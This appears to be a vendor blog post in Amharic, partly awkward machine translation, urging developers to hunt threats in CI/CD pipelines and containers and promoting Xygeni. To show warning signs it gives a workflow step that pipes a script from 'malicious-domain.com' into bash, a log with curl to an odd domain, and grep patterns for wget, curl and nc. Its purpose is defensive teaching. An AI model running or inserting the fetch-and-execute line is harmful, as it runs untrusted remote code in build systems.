የጥቃት አደን በልማት ውስጥ ለምን አስፈላጊ ነው፣ የደህንነት ቡድኖች ብቻ አይደሉም
አብዛኛዎቹ የልማት ቡድኖች አሁንም ስጋቶችን ለመለየት በSOC ማንቂያዎች እና በውጫዊ የደህንነት መሳሪያዎች ላይ ይተማመናሉ። ነገር ግን የስጋት መለየት እየተሻሻለ ነው፣ እና የስጋት አደን ከአሁን በኋላ በደህንነት ተንታኞች እጅ ብቻ የሚከናወን አይደለም። የሳይበር ስጋት አደን ገንቢዎች በራሳቸው የስራ ፍሰቶች ውስጥ ማስገባት የሚያስፈልጋቸው የክህሎት ደረጃ እየሆነ መጥቷል።
ለምን? የአደገኛ ተዋናዮች የDevOps ቁልልን እየተጠቀሙ በመምጣታቸው፣ የተጎዱ ፓኬጆች, ተንኮለኛ አውቶሜሽን፣ እና አላግባብ ጥቅም ላይ የዋሉ ቶከኖችእና እነዚያ ምልክቶች ባህላዊ የደህንነት ማንቂያዎችን እምብዛም አያስከትሉም። የአደጋ አዳኝ እነዚህን ችግሮች ቀደም ብሎ ባየ ቁጥር፣ ቡድኖቹ እውነተኛ ክስተቶችን በፍጥነት ማስቆም ይችላሉ።
እውነተኛ ክፍተቶች በሚከተሉት ውስጥ ይታያሉ፦
- CI/CD የማይታወቁ ሁለትዮሾችን በጸጥታ የሚያስኬዱ ስራዎች
- የሚተኩ ጥገኛ ነገሮች pull requests
- በአጠራጣሪ ቅርንጫፎች ውስጥ ጥቅም ላይ የሚውሉ የአካባቢ ምስጢሮች
እነዚህ የደህንነት ቡድን ችግሮች አይደሉም፤ የገንቢ እውነታዎች ናቸው። እና እዚህ ላይ ነው ስጋት ማደን መጀመር ያለበት፡ በኮዱ ውስጥ፣ pipelineእና የልማት አካባቢ። የሳይበር ስጋት አደን አስተሳሰብን የሚከተሉ ገንቢዎች በቡድኑ ውስጥ የመጀመሪያዎቹ እና ምርጥ የአደጋ አዳኞች ይሆናሉ።
አንድ አዳኝ ሌሎች ችላ የሚሏቸውን ደካማ ምልክቶች እንዴት እንደሚያስተውል
የዛቻ አዳኝ ማንቂያዎችን አይጠብቅም። ደካማ ምልክቶችን፣ ከሚጠበቀው ባህሪ ጋር የማይዛመዱ ስውር ለውጦችን ይፈልጋሉ። በኮድ እና pipelineኤስ፣ ይህ ማለት፡
አንድ ገንቢ ወደ አደጋነት የተለወጠ አዳኝ ሊያያቸው የሚገቡ ደካማ ምልክቶች፡
- የስሪት እብጠት ሳይኖር የተቀየረ የጥገኝነት ሃሽ
- A የተለጠፈ ትላንትና ያልነበረ የሙከራ ስክሪፕት ይደውሉ
- A የጂትሃብ እርምጃ ያ በድንገት ይሮጣል chmod + x በወረደ ፋይል ላይ
- A የJWT ቶከን ከታቀደው ወሰን ውጭ በሆነ ሥራ ውስጥ ጥቅም ላይ የዋለ
⚠️ማስጠንቀቂያ፡ ይህ እርምጃ ያለ ማረጋገጫ ከውጭ ጎራ የሼል ስክሪፕት ያስፈጽማል። ከፍተኛ አደጋን ያስከትላል።
# suspicious GitHub Actions step
- name: Inject secrets
run: |
curl http://malicious-domain.com/payload.sh | bash
ይህ ባህላዊ የደህንነት ደንብ አያስነሳም። ነገር ግን አንድ የዛቻ አዳኝ ያልተለመደውን ነገር ያያል፡- በCI ውስጥ ውጫዊ ጭነት ለምን እየተከናወነ ነው? የት ነው የተከናወነው? የተለጠፈ ትዕዛዝ የመጣው ከ? ይህ አስተሳሰብ፣ ያልተጠበቀውን መከታተል፣ ልዩነት ይፈጥራል። በኮድ ውስጥ የሳይበር ስጋት ማደን ማለት ሎጎችን፣ ልዩነቶችን እና ባህሪን በንቃተ ህሊና መመርመር ማለት ነው።
የሳይበር ስጋት አደንን በውስጥ መተግበር CI/CD እና ኮንቴይነሮች
ገንቢዎች የሳይበር ስጋት አደን ቴክኒኮችን በቀጥታ በውስጥ ማስተካከል ይችላሉ CI/CD እና የኮንቴይነር የስራ ፍሰቶች። እነዚህ አካባቢዎች ለበደል የተበጁ ናቸው፣ እና አጥቂዎች ገንቢዎች እየተመለከቱ ባለመሆናቸው ላይ ይተማመናሉ።
ለገንቢዎች ተግባራዊ የአደጋ ማደን ቴክኒኮች፡
- የማስመሰያ አላግባብ መጠቀምን ማወቂያ፦ ባልተጠበቁ ስራዎች ወይም ባልተፈቀደላቸው ተጠቃሚዎች ጥቅም ላይ የዋሉ ምስጢሮችን የኦዲት ምዝግብ ማስታወሻዎች።
- ያልተጠበቀ የሂደት አፈፃፀም: እንደ ትዕዛዞችን የሚያሄዱ ስራዎችን ይከታተሉ bash, wget, የተለጠፈ, chmod, ወይም ncበተለይም ከማይታወቁ ምንጮች።
- ጥገኝነት ማበላሸት: የግንባታ ጊዜ ጥገኝነቶችን ከቅድመ-ጸደቁ ሃሾች ጋር ያወዳድሩ። የመቆለፊያ ፋይሎችን እና የአቅራቢ አቃፊዎችን ይለያዩ።
⚠️ማስጠንቀቂያ: የሚከተሉት ትዕዛዞች በመደበኛ የግንባታ ተግባራት ወቅት መታየት የለባቸውም። ከተከሰቱ ወዲያውኑ ይመርምሩ።
# hunting for unexpected processes inside a container
ps aux | grep -E 'wget|curl|nc|sh'
⚠️ማስጠንቀቂያ: እንደዚህ የJSON ምዝግብ ማስታወሻ ያለ ያልተለመደ ባህሪ ያልተፈቀዱ እርምጃዎችን ወይም የስክሪፕት መርፌዎችን ሊያመለክት ይችላል።
{
"job": "build-app",
"command": "curl https://weird-domain.net",
"time": "2024-08-21T10:23:00Z"
}
አንድ የዛቻ አዳኝ ይህ ትዕዛዝ ለምን እንደተጀመረ ይመረምራል እና ወደ አንድ የተወሰነ ትዕዛዝ ይከተላል commit ወይም ስክሪፕት። ይህ ክላሲክ የሳይበር ስጋት አደን ባህሪ ነው፣ አላግባብ መጠቀምን ከመጠቀሙ በፊት የሚለየው ለበዝበዛ ነው።
በDevSecOps ልምዶች ውስጥ ማካተት
ግቡ እያንዳንዱን ምዝግብ ወይም ምዝግብ በእጅ መገምገም አይደለም። commitግቡ የስጋት አደን አመክንዮ በቀጥታ በአንተ ውስጥ ማካተት ነው። የDevSecOps የስራ ፍሰቶች.
የአደጋ ማደንን እንዴት ተግባራዊ ማድረግ እንደሚቻል፡
- የተዋቀረ ምዝግብ ማስታወሻ፦ የትዕዛዝ አፈፃፀም፣ የስክሪፕት ለውጦች እና ያልተጠበቁ የአውታረ መረብ ጥሪዎችን ይቅረጹ።
- Pipeline ያልተለመደ መለየት: ከሚከተሉት ልዩነቶች ላይ ማንቂያ pipeline የመነሻ መስመሮች፣ ለምሳሌ፣ አዲስ ሁለትዮሽ፣ የተሻሻሉ ምስጢሮች ወይም አዲስ የሶስተኛ ወገን ጥሪዎች።
- አጠራጣሪ ባህሪ ማረጋገጫ፦ ለአዳዲስ ጥገኞች ወይም ስሜታዊ የሥራ ለውጦች የጤንነት ፍተሻዎችን ወይም የማጽደቂያ በሮችን ያክሉ።
ወደ ግራ እንደመቀየር አድርገህ አስብ፣ ነገር ግን በአደጋ ላይ ያለ የአዳኝ አስተሳሰብ። ጥሩ ልምምድ; አደገኛ ትዕዛዞችን ቀደም ብለው ለመጠቆም የማይንቀሳቀስ ማወቂያን ይጠቀሙ።
- name: Check for unexpected curl usage
run: |
grep -r 'curl' .github/workflows/ || echo "No curl found"
ቀላል የንድፍ ማዛመድ ያልተለመዱ ነገሮችን ቀደም ብሎ ሊጠቁም እና በግንባታው ላይ መዘግየትን ሳይጨምር የሳይበር ስጋት አደንን ሊደግፍ ይችላል።
በኮድ ዙሪያ በXygeni አማካኝነት የስጋት አደንን ማስላት እና Pipelines
በእጅ የሚደረግ የስጋት አደን ውጤታማ ነው፣ ግን አይጨምርም። እዚህ ላይ ነው ዚጌኒ ወደ ውስጥ ገባ. Xygeni ገንቢዎችን የሚከተሉትን እንዲያደርጉ ያበረታታል፦
- ያልተጠበቁ የሂደት አፈፃፀሞችን በሁሉም ቦታ ይከታተሉ CI/CD pipelines
- የቶከኖችን ወይም የተሻሻሉ ጥገኝነቶችን አጠራጣሪ አጠቃቀምን ይወቁ
- በሪፖዎች እና ኮንቴይነሮች ውስጥ የሳይበር ስጋት አደን ምልክቶችን ለይ
- አዳዲስ ባህሪያትን እና ስጋቶችን በእውነተኛ ጊዜ ለመለየት መሰረታዊ ነገሮችን ይገንቡ
- እያንዳንዱ ገንቢ በራስ-ሰር አውድ እንደ ስጋት አዳኝ ሆኖ እንዲያገለግል ያስችሉት
ከባህላዊ መሳሪያዎች በተለየ መልኩ፣ Xygeni የእርስዎን ህክምና ያክማል pipelineዎች እና ኮዶች እንደ አጥቂዎች የመጀመሪያ ደረጃ ኢላማዎች ናቸው፣ እና ገንቢዎች ከመነሻቸው የሚመጡ ስጋቶችን እንዲያድኑ ያስችላቸዋል።
ከገንቢ እስከ ዛቻ ሀንተር፡ በሳይበር ስጋት አደን ውስጥ የእርስዎ ሚና
የስጋት ፍለጋ ለSOC ብቻ አይደለም። ኮድ ለሚገፋ፣ አንድን ኮድ ለሚያዋቅር እያንዳንዱ ገንቢ ነው። pipeline፣ ወይም ጥገኝነትን ያዋህዳል። እንደ አስጊ አዳኝ ለማሰብ የሚከተሉትን ማድረግ አለብዎት:
- ወደ ስምምነት የሚያመሩትን ደካማ ምልክቶችን ይከታተሉ
- በራስዎ አካባቢ ማደን፡ የCI ስራዎች፣ የኮንቴይነር ምዝግብ ማስታወሻዎች፣ commit ልዩነቶች
- እንደ አንድ ሀሳብ ሳይሆን በስራ ፍሰትዎ ውስጥ የምርመራ ሎጂክን ይገንቡ
እና እንደ Xygeni ባሉ መሳሪያዎች፣ በቡድንዎ ውስጥ የሳይበር ስጋት አደንን ማስፋፋት ይችላሉ፣ pipelineዎች፣ እና ጥገኞች።
እንደ አጥቂ አስብ። እንደ ገንቢ አድን።







